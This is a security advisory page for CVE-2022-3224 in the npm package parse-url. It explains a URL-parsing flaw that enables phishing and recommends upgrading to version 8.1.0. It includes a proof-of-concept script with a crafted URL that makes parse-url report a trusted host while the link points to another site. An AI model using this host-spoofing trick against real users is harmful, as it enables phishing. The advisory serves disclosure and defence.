Improper Input Validation Affecting parse-url package, versions <8.1.0
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Test your applications- Snyk ID SNYK-JS-PARSEURL-3024398
- published 15 Sep 2022
- disclosed 15 Sep 2022
- credit Automne
Introduced: 15 Sep 2022
CVE-2022-3224 Open this link in a new tabHow to fix?
Upgrade parse-url to version 8.1.0 or higher.
Overview
parse-url is an An advanced url parser supporting git urls too.
Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.
const parseUrl = require("parse-url");
const Url = require("url");
const express = require('express');
const app = express();
var url = "https://www.google.com:x@fakesite.com:x";
parsed = parseUrl(url);
console.log("[*]parse-url output: ")
console.log(parsed);
parsed2 = Url.parse(url);
console.log("[*]url output: ")
console.log(parsed2)
app.get('/', (req, res) => {
if (parsed.host == "www.google.com") {
res.send("<a href='" + parsed2.href + "'>CLICK ME!</a>")
}
})
app.listen(8888,"0.0.0.0");